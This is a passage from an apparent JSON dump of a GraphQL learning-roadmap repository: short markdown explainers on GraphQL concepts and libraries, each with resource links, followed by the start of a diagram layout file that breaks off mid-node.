    "content": "# Event-Based Subscriptions\n\nEvent-based subscriptions in GraphQL provide real-time updates by subscribing to specific events or data changes. Clients maintain persistent connections through WebSockets to receive live updates when subscribed events occur, enabling reactive applications with real-time functionality.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL Subscriptions Documentation](https://graphql.org/blog/subscriptions-in-graphql-and-relay/)\n- [@article@GraphQL Subscriptions](https://the-guild.dev/blog/subscriptions-and-live-queries-real-time-with-graphql)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/execution@72wGg6yP8WnEdmkeKL9vh.md",
    "content": "# Execution\n\nExecution in GraphQL is the process of running queries or mutations and returning results to clients. The GraphQL engine performs parsing, validation, and data retrieval steps to produce the final response, coordinating resolver functions to fetch data from various sources.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Execution in GraphQL](https://graphql.org/learn/execution/)\n- [@official@Intro to Execution](https://graphql.org/graphql-js/execution/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/fields@HPdntdgTar1T34CZX8Y6y.md",
    "content": "# Fields\n\nFields in GraphQL are units of data that can be queried or manipulated. Each field has a name, type, and optional description, and can return scalar values or objects, enabling complex nested data structures and taking arguments for filtering.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL: Types and Fields](https://graphql.org/learn/queries/#fields)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/fields@Pc9H7AcoqJQkWnuhbytyD.md",
    "content": "# Fields\n\nFields in GraphQL are individual pieces of data that can be queried or modified, representing properties of the requested data. They're defined in the GraphQL schema and serve as building blocks for queries and mutations, specifying what data is available for each type.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL: Types and Fields](https://graphql.org/learn/queries/#fields)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/fragments@CehwjrCG_wbUU-TFNCuJn.md",
    "content": "# Fragments\n\nFragments in GraphQL are reusable pieces of queries that retrieve specific fields from one or more types. Defined with the \"fragment\" keyword, they promote code reuse, reduce duplication, and make complex queries more maintainable by separating common field selections.\n\nVisit the following resources to learn more:\n\n- [@official@Intro to Fragments in GraphQL](https://graphql.org/learn/queries/#fragments)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-go@9nVo95gRNGHGIbaJQPH1x.md",
    "content": "# GraphQL Go\n\nGraphQL Go refers to implementing GraphQL servers and clients using the Go programming language. Popular libraries include graphql-go/graphql for schema-first development and 99designs/gqlgen for code-first generation. Go's strong typing and performance make it excellent for building scalable GraphQL APIs.\n\nVisit the following resources to learn more:\n\n- [@opensource@graphql-go/graphql](https://github.com/graphql-go/graphql)\n- [@opensource@99designs/gqlgen](https://github.com/99designs/gqlgen)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-http@N-vsu-wvOikuoTbzdgX3X.md",
    "content": "# graphql-http\n\nGraphQL over HTTP is a specification that defines how GraphQL queries and mutations should be transported over HTTP. It standardizes request/response formats, HTTP methods, status codes, and headers, ensuring consistent GraphQL API communication across different implementations.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL over HTTP Specification](https://graphql.github.io/graphql-over-http/)\n- [@opensource@graphql-http Library](https://github.com/graphql/graphql-http)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-http@datKo3vPDwXoyVskcrdkc.md",
    "content": "# GraphQL HTTP\n\nGraphQL HTTP is a specification for serving GraphQL over HTTP protocol. It defines standard methods for sending queries and mutations, primarily using POST requests with JSON payloads in the request body, and receiving results in the response body.\n\nVisit the following resources to learn more:\n\n- [@official@Overview of GraphQL HTTP](https://graphql.org/graphql-js/express-graphql/#graphqlhttp)\n- [@official@Get Started with GraphQL HTTP](https://graphql.org/learn/serving-over-http/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-java@7szipojhVb2VoL3VcS619.md",
    "content": "# GraphQL Java\n\nGraphQL Java is a popular library for implementing GraphQL APIs in Java applications. It provides schema-first development capabilities, runtime query execution, and integrates well with Spring Boot and other Java frameworks, making it a solid choice for enterprise GraphQL implementations.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL Java Repository](https://github.com/graphql-java/graphql-java)\n- [@article@GraphQL Java Documentation](https://www.graphql-java.com/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-on-backend@ODQ8zrHc2rsc8PN-APKvz.md",
    "content": "# GraphQL on the Backend\n\nGraphQL on the backend involves implementing servers that execute GraphQL queries, mutations, and subscriptions. It includes defining schemas, writing resolvers, handling data sources, implementing authentication/authorization, and optimizing performance through caching and batching strategies.\n\nVisit the following resources to learn more:\n\n- [@article@How to use GraphQL in Backend?](https://www.howtographql.com/)\n- [@feed@Explore top posts about Backend Development](https://app.daily.dev/tags/backend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-on-frontend@6r9XbwlBtHmJrhviG2cTD.md",
    "content": "# GraphQL on the Frontend\n\nGraphQL on the frontend enables efficient data fetching with clients like Apollo, URQL, or Relay. It provides declarative data requirements, intelligent caching, real-time subscriptions, and type safety, allowing frontend applications to request exactly the data they need in a single query.\n\nVisit the following resources to learn more:\n\n- [@article@Get started with GraphQL on the frontend](https://www.howtographql.com/react-apollo/0-introduction/)\n- [@feed@Explore top posts about Frontend Development](https://app.daily.dev/tags/frontend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-over-http-spec@V3bgswBFr1xames3F8S_V.md",
    "content": "# GraphQL Over HTTP Spec\n\nThe GraphQL over HTTP specification defines standard practices for serving GraphQL over HTTP, including request/response formats, status codes, and content types. It ensures interoperability between different GraphQL implementations and provides guidance for consistent API behavior across platforms."
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-queries@W_Lg8086ZhrIqtck1sgnb.md",
    "content": "# GraphQL Queries\n\nGraphQL queries are client requests to retrieve specific data from a server. They specify exactly which fields should be returned, using a hierarchical structure that matches the data requirements. Queries are written in GraphQL syntax and executed by the server to fetch the requested data.\n\nVisit the following resources to learn more:\n\n- [@official@What are GraphQL Queries?](https://graphql.org/learn/queries/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphql-yoga@Gotb1xtxySCVC5MrnkPSs.md",
    "content": "# GraphQL Yoga\n\nGraphQL Yoga is an open-source GraphQL server library for Node.js built on Express.js. It provides minimal boilerplate setup with built-in authentication, authorization, data validation, and subscription support for real-time updates, making GraphQL server development streamlined.\n\nVisit the following resources to learn more:\n\n- [@article@GraphQL Armor - for Yoga Server 2](https://the-guild.dev/blog/improved-security-with-graphql-armor-support-for-yoga-server-2)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/graphqljs@jCzrMElTo-c9xGcpPOOPl.md",
    "content": "# GraphQL.js\n\nGraphQL.js is the reference implementation of GraphQL for JavaScript and Node.js. It provides the core functionality for parsing, validating, and executing GraphQL queries, serving as the foundation for many other GraphQL tools and libraries in the JavaScript ecosystem.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL.js Repository](https://github.com/graphql/graphql-js)\n- [@official@GraphQL.js Documentation](https://graphql.org/graphql-js/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/interfaces@tc_rjJZrr2x3bp8mcoQ0F.md",
    "content": "# Interfaces\n\nInterfaces in GraphQL define a set of fields that implementing types must include. They enable polymorphism by allowing common field querying across different types that implement the same interface, promoting code reuse and consistent API design.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Interfaces](https://graphql.org/learn/schema/#interfaces)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/introduction@JfXwzkN29UGz17FYHHE3A.md",
    "content": "# GraphQL Introduction\n\nGraphQL is a query language and runtime for APIs that enables clients to request exactly the data they need in a single call. It provides a predictable format, reducing multiple API calls and eliminating over-fetching, making data retrieval more efficient than traditional REST APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to GraphQL](https://graphql.org/learn/)\n- [@official@Getting started with GraphQL](https://graphql.org/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/lists@d2ikbo4sZq7PmaCi5znkd.md",
    "content": "# Lists\n\nLists in GraphQL represent ordered collections of items, defined using square brackets around the item type. They can contain scalars, objects, or other lists, enabling complex nested data structures and array-based field returns in schemas.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Lists](https://graphql.org/learn/schema/#lists-and-non-null)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/lists@sJ1_c3e08aehiqNMbIEEP.md",
    "content": "# Lists\n\nLists in GraphQL represent ordered collections of items and can be used as return types for fields. They can contain any type of items including scalars and objects, with resolver functions typically returning data as arrays from databases or APIs.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Lists and Non-Null](https://graphql.org/learn/schema/#lists-and-non-null)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/live-queries@CHdzww8_TNfeM6Bp1oTPI.md",
    "content": "# Live Queries\n\nLive Queries automatically update query results when underlying data changes, providing real-time synchronization without manual subscription management. This advanced feature simplifies building reactive applications by maintaining fresh data automatically, though it requires specialized GraphQL implementations.\n\nVisit the following resources to learn more:\n\n- [@article@GraphQL Live Queries](https://the-guild.dev/blog/collecting-graphql-live-query-resource-identifier-with-graphql-tools)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/mercurius@iTV2H8clmRTOksul4v38p.md",
    "content": "# Mercurius\n\nMercurius is a high-performance GraphQL server library for Fastify, offering excellent performance and minimal memory usage. It provides schema-first development, built-in caching, subscriptions support, and integration with Fastify's ecosystem for building fast, scalable GraphQL APIs.\n\nVisit the following resources to learn more:\n\n- [@opensource@Mercurius Repository](https://github.com/mercurius-js/mercurius)\n- [@article@Mercurius Documentation](https://mercurius.dev/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/multiple-fields-in-mutation@AySlY8AyI6jE-cy-qKKOU.md",
    "content": "# Multiple Mutation Fields\n\nGraphQL allows multiple mutations in a single query by including multiple mutation fields, a practice often called batching mutations. This approach improves network efficiency by reducing the number of round-trips between the client and server.\n\nVisit the following resources to learn more:\n\n- [@official@Guide to Multiple fields in mutations](https://graphql.org/learn/mutations/#multiple-fields-in-mutations)\n"
  },
  {
    "path": "src/data/roadmaps/graphql/content/mutations@jy_91mhFWbpR6sYVbuX1x.md",
    "content": "# Mutations\n\nMutations in GraphQL are used to modify data on the server, including creating, updating, or deleting records. They're structured like queries but use the \"mutation\" field at the top level and include fields specifying the data to be changed and the operation type.\n\nVisit the following resources to learn more:\n\n- [@official@Getting started with Mutations](https://graphql.org/learn/queries/#mutations)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/objects@LX9vZpx7yKlf0iR6AtBWz.md",
    "content": "# Objects\n\nObjects in GraphQL are types that represent groups of fields, defining the structure of queries and mutations. Each field can return scalar values or other objects, enabling complex nested data structures. Objects are defined using the \"type\" keyword followed by the name and field definitions.\n\nVisit the following resources to learn more:\n\n- [@official@Object Types and Fields](https://graphql.org/learn/schema/#object-types-and-fields)\n- [@official@Object Types](https://graphql.org/graphql-js/object-types/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/operation-name@q9TYEygvUyHourdZIvk8G.md",
    "content": "# Operation Name\n\nOperation names are optional identifiers for GraphQL queries and mutations that help uniquely identify operations in documents with multiple operations. They provide meaningful names for operations, improve debugging, and make error identification easier in complex applications.\n\nVisit the following resources to learn more:\n\n- [@official@Intro to Operation Name](https://graphql.org/learn/queries/#operation-name)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/pagination@Uf8XxJPs7RzKVhlxiQdbB.md",
    "content": "# Pagination\n\nPagination in GraphQL handles large datasets by breaking them into smaller chunks. Common approaches include cursor-based pagination (using cursors for stable pagination) and offset-based pagination (using skip/take), with cursor-based being preferred for performance and consistency.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Pagination](https://graphql.org/learn/pagination/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/problems-graphql-solves@2rlmLn_yQQV-7DpX1qT98.md",
    "content": "# Problems GraphQL Solves\n\nGraphQL solves major API problems including over-fetching (getting unnecessary data), under-fetching (multiple requests needed), inefficient versioning, and lack of flexibility. It enables precise data requests, single queries for multiple resources, seamless versioning through schema evolution, and microservice communication through federation."
  },
  {
    "path": "src/data/roadmaps/graphql/content/producing-the-result@zQHifboRreE4OgJ7GnUlp.md",
    "content": "# Producing The Result\n\nProducing the result in GraphQL involves generating the final response to queries and mutations. This process includes parsing the request, validating against the schema, executing resolvers to fetch data, and formatting the response according to the query requirements.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with GraphQL](https://graphql.org/learn/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/realtime@2YLm_S1j_832pb1OGSNaM.md",
    "content": "# Realtime\n\nRealtime GraphQL enables live data updates through subscriptions, allowing clients to receive instant notifications when data changes. Implemented using WebSockets, Server-Sent Events, or polling, it's essential for chat applications, live feeds, and collaborative tools requiring immediate data synchronization.\n\nVisit the following resources to learn more:\n\n- [@article@Get Started with Real Time with GraphQL](https://the-guild.dev/blog/subscriptions-and-live-queries-real-time-with-graphql)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/relay@Ab_ngkf6bmejvcp9okuw6.md",
    "content": "# Relay\n\nRelay is Facebook's GraphQL client designed for React applications, emphasizing performance and data consistency. It uses a declarative approach with fragments, automatic query optimization, pagination handling, and strict conventions for building scalable, efficient GraphQL applications.\n\nVisit the following resources to learn more:\n\n- [@article@GraphQL Code Generator & Relay Compiler](https://the-guild.dev/blog/graphql-codegen-relay-compiler)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/resolvers@VDur5xYBC0LJtQgDrSEyj.md",
    "content": "# Resolvers\n\nResolvers are functions responsible for fetching data for each field in GraphQL queries and mutations. Defined in the schema and executed by the GraphQL server, they retrieve data from databases, APIs, or other sources and return it to clients.\n\nVisit the following resources to learn more:\n\n- [@article@Guide to Resolver](https://the-guild.dev/blog/better-type-safety-for-resolvers-with-graphql-codegen)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/root-fields@AlJlHZD3_SPoLNaqdM-pB.md",
    "content": "# Root Fields\n\nRoot fields are the top-level fields available to clients in GraphQL queries and mutations. They serve as entry points for client requests, with Query fields for retrieving data and Mutation fields for modifying data on the server.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Root Fields](https://graphql.org/learn/execution/#root-fields-resolvers)\n"
  },
  {
    "path": "src/data/roadmaps/graphql/content/scalar-coercion@QFUOmJlPkkjpcl1vJxg9h.md",
    "content": "# Scalar Coercion\n\nScalar coercion in GraphQL converts input values from one type to another when they don't match the expected type but can be successfully converted. This process is implemented using custom scalar types with coerce functions that handle the type conversion.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Scalar coercion](https://graphql.org/learn/execution/#scalar-coercion)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/scalars@U-tLelmNQtR-pUq-sxU_2.md",
    "content": "# Scalars\n\nScalars are \"leaf\" values in GraphQL representing primitive data types. Built-in scalars include String, Int, Float, Boolean, and ID for unique identifiers. Custom scalars can be defined for specific needs like dates, JSON, or large integers, extending the type system beyond basic primitives.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Scalars in GraphQL](https://graphql.org/learn/schema/#scalar-types)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/schema@lj1WEh4WbfBsoZFYsi1Yz.md",
    "content": "# Schema\n\nA GraphQL schema defines the structure and capabilities of a GraphQL API using Schema Definition Language (SDL). It specifies types, fields, arguments, relationships, and root operations (Query, Mutation, Subscription) that serve as entry points, acting as a contract between client and server.\n\nVisit the following resources to learn more:\n\n- [@official@What is Schema?](https://graphql.org/learn/schema/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/serving-over-internet@inhjhH-7xJyX8o4DQqErF.md",
    "content": "# Serving over Internet\n\nServing GraphQL over the internet involves making a GraphQL server accessible to clients through a public IP address or domain name. This can be done using reverse proxies, cloud services, or serverless functions to expose the GraphQL endpoint publicly.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Serving over HTTPs](https://graphql.org/learn/serving-over-http/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/specification@A-PQ3_FVuCK3Eud75hsdj.md",
    "content": "# Specification\n\nThe GraphQL specification is the official standard that defines the GraphQL query language, type system, execution algorithm, and validation rules. It ensures consistency across different GraphQL implementations and serves as the authoritative reference for developers building GraphQL services and tools.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL Specification](https://spec.graphql.org/)\n- [@official@GraphQL Foundation](https://foundation.graphql.org/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/specification@O8k-m6s9B_uXkLsXKVFnL.md",
    "content": "# Specification\n\nThe GraphQL specification defines the core language, type system, execution model, and validation rules for GraphQL. Maintained by the GraphQL Foundation, it provides the technical foundation that all GraphQL implementations must follow to ensure interoperability and consistency across platforms.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL Specification](https://spec.graphql.org/)\n- [@official@GraphQL Foundation](https://foundation.graphql.org/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/subscriptions@IbEqXlGjsyNLKE9dZrPPk.md",
    "content": "# Subscriptions\n\nSubscriptions in GraphQL enable real-time updates by allowing clients to subscribe to specific events or data changes on the server. The server maintains an open connection and pushes updates to subscribed clients as soon as events occur or data changes.\n\nVisit the following resources to learn more:\n\n- [@article@Subscriptions and Live Queries - Real Time with GraphQL](https://the-guild.dev/blog/subscriptions-and-live-queries-real-time-with-graphql)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/synchronous@uPpsj2kCdgKsJpmTaw86u.md",
    "content": "# Synchronous\n\nSynchronous resolvers in GraphQL execute immediately and return their results directly without waiting for external operations. They complete their execution before returning any value, making them simpler but potentially blocking if they perform complex computations.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL Execution](https://graphql.org/learn/execution/)\n- [@article@Understanding Resolvers](https://www.apollographql.com/docs/apollo-server/data/resolvers/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/thinking-in-graphs@J5mU0v491qrm-mr1W3Msd.md",
    "content": "# Thinking in Graphs\n\n\"Thinking in Graphs\" is a GraphQL mindset where data is organized as a graph with nodes (objects) and edges (relationships). This approach allows flexible and intuitive querying by following relationships between connected data points, making complex data retrieval more natural and efficient.\n\nVisit the following resources to learn more:\n\n- [@official@GraphQL - Thinking in Graphs](https://graphql.org/learn/thinking-in-graphs/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/type-system@jpu0_FAlxtD-H80mPcod5.md",
    "content": "# Type System\n\nGraphQL is strongly typed with a type system that defines data types available in applications. It includes Scalar, Object, Query, Mutation, and Enum types. The type system defines the schema, acting as a contract between client and server for predictable API interactions.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Type system](https://graphql.org/learn/schema/#type-system)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/unions@59COH3rerJJzKr6vrj4bF.md",
    "content": "# Unions\n\nUnions allow fields to return multiple types, enabling different handling for various types in clients. They provide schema flexibility by grouping types together, though they don't allow common field querying across types like interfaces do.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Union in GraphQL](https://graphql.org/learn/schema/#union-types)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/urql@WP0Oo_YMfLBlXqDQQtKes.md",
    "content": "# URQL\n\nURQL is a lightweight, highly customizable GraphQL client for React, Vue, and Svelte. It provides caching, real-time subscriptions, offline support, and a modular architecture with exchanges for extending functionality, offering an alternative to Apollo Client with better performance.\n\nVisit the following resources to learn more:\n\n- [@article@urql - Formidable Labs](https://formidable.com/open-source/urql/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/validation@I4wNBXV4xEZ0LWBhv5FwF.md",
    "content": "# Validation\n\nValidation in GraphQL ensures queries and mutations adhere to schema rules by verifying field access, type correctness, and input constraints. GraphQL servers validate all incoming operations before execution, returning errors for invalid queries with specific details about violations.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Validation in GraphQL](https://graphql.org/learn/validation/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/validation@iYkHCKTsjtvo40f3eZoet.md",
    "content": "# Validation\n\nValidation in GraphQL ensures queries and mutations conform to schema rules and constraints. It checks for required fields, correct argument types, and value ranges before execution, preventing invalid operations and improving API reliability.\n\nVisit the following resources to learn more:\n\n- [@official@Get Started with Validation in GraphQL](https://graphql.org/learn/validation/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/variables@YZaFEK547FYricfOuANvH.md",
    "content": "# Variables\n\nVariables in GraphQL pass dynamic values to queries and mutations, making them flexible and reusable. Defined with the $ symbol and a type, their values are passed in a separate JSON object. Variables are type-safe, ensuring values match the defined types.\n\nVisit the following resources to learn more:\n\n- [@official@Intro to Variables in GraphQL](https://graphql.org/learn/queries/#variables)\n- [@article@GraphQL Variables](https://dgraph.io/docs/graphql/api/variables/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/what-are-mutations@9Q2pGidY-rfkltHq3vChp.md",
    "content": "# What are Mutations\n\nMutations in GraphQL are operations used to modify data on the server - creating, updating, or deleting records. They're structured like queries but use the \"mutation\" field at the top level and include fields specifying the data to be changed and the operation type.\n\nVisit the following resources to learn more:\n\n- [@official@Get started with Mutations](https://graphql.org/learn/mutations/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/what-are-queries@2SU4dcaz7zwGsF7g8FjmI.md",
    "content": "# What are Queries\n\nIn GraphQL, queries are client requests to retrieve data from the server. They're structured as hierarchical trees of fields that correspond to the properties of the requested data, allowing clients to specify exactly what data they need in a predictable format.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction of GraphQL - Query](https://graphql.org/learn/queries/)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/what-are-subscriptions@RlBc-hWEUOPaEQLTgJa-K.md",
    "content": "# What are Subscriptions\n\nSubscriptions in GraphQL enable real-time updates by allowing clients to subscribe to specific events or data changes on the server. They're structured like queries with a \"subscription\" field at the top level and push updates to clients as soon as events occur.\n\nVisit the following resources to learn more:\n\n- [@article@How GraphQL Subscriptions Work?](https://the-guild.dev/blog/subscriptions-and-live-queries-real-time-with-graphql)"
  },
  {
    "path": "src/data/roadmaps/graphql/content/what-is-graphql@cMfsRtvzvDZZJ0TqeUOxm.md",
    "content": "# What is GraphQL\n\nGraphQL is a query language for APIs and server-side runtime that lets clients request exactly the data they need. Unlike REST, it uses a type system to define data structure and allows fetching multiple resources in a single request, reducing over-fetching and under-fetching problems.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to graphQL](https://graphql.org/learn/)\n- [@article@Tutorial - What is graphQL?](https://www.howtographql.com/basics/0-introduction/)\n- [@feed@Explore top posts about GraphQL](https://app.daily.dev/tags/graphql?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/graphql/faqs.astro",
    "content": ""
  },
  {
    "path": "src/data/roadmaps/graphql/graphql.json",
    "content": "{\n  \"nodes\": [\n    {\n      \"id\": \"SFhbL3KKBd053kCVToTm1\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 64.95192794899594,\n        \"y\": 1634.7051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 280,\n        \"height\": 289\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 64.95192794899594,\n        \"y\": 1634.7051467174065\n      }\n    },\n    {\n      \"id\": \"BVXPP2J15hss2hF85urjN\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -709.9579568300146,\n        \"y\": 1331.2051467174065\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 256,\n        \"height\": 345\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -709.9579568300146,\n        \"y\": 1331.2051467174065\n      }\n    },\n    {\n      \"id\": \"0YJo_ti1JDu1GRmdC2WzA\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -103.1381872719935,\n        \"y\": 1129.355064975886\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"D0RHwVcuH4qus_oiCbDo0\"\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 151,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -103.1381872719935,\n        \"y\": 1129.355064975886\n      }\n    },\n    {\n      \"id\": \"QGWApwm1h5K_n0M81b9DH\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 976.1275563289466\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 276,\n        \"height\": 227\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": 68.2572052308409,\n        \"y\": 976.1275563289466\n      }\n    },\n    {\n      \"id\": \"D0RHwVcuH4qus_oiCbDo0\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -459.6381872719935,\n        \"y\": 989.4675181201998\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 167,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -459.6381872719935,\n        \"y\": 989.4675181201998\n      }\n    },\n    {\n      \"id\": \"C2zefkHdFZjID3CdqXmAy\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": -710.9579568300146,\n        \"y\": 880.5474215299696\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": -999,\n      \"width\": 150,\n      \"height\": 100,\n      \"style\": {\n        \"width\": 150,\n        \"height\": 100\n      },\n      \"measured\": {\n        \"width\": 232,\n        \"height\": 259\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -710.9579568300146,\n        \"y\": 880.5474215299696\n      }\n    },\n    {\n      \"id\": \"zQpkRd7jNV509JOpL6VxX\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": -148.1381872719935,\n        \"y\": 750.3550649758861\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0.8 8\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.75,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"0YJo_ti1JDu1GRmdC2WzA\"\n      },\n      \"zIndex\": 999,\n      \"width\": 50,\n      \"height\": 20,\n      \"measured\": {\n        \"width\": 196,\n        \"height\": 20\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"positionAbsolute\": {\n        \"x\": -148.1381872719935,\n        \"y\": 750.3550649758861\n      }\n    },\n    {\n      \"id\": \"icm7gi90MRG4vn9KUUaqR\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 68.2572052308409,\n        \"y\": 645.5973159217342\n      },\n      \"selected\": false,\n      \"selectable\": true,\n      \"draggable\": true,\n      \"deletable\": true,\n      \"data\": {\n        \"label\": \"Int, Float, String, Boolean, ID\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"#000000\",\n          \"backgroundColor\": \"#ffffff\",\n          \"color\": \"#000000\",\n          \"textAlign\": 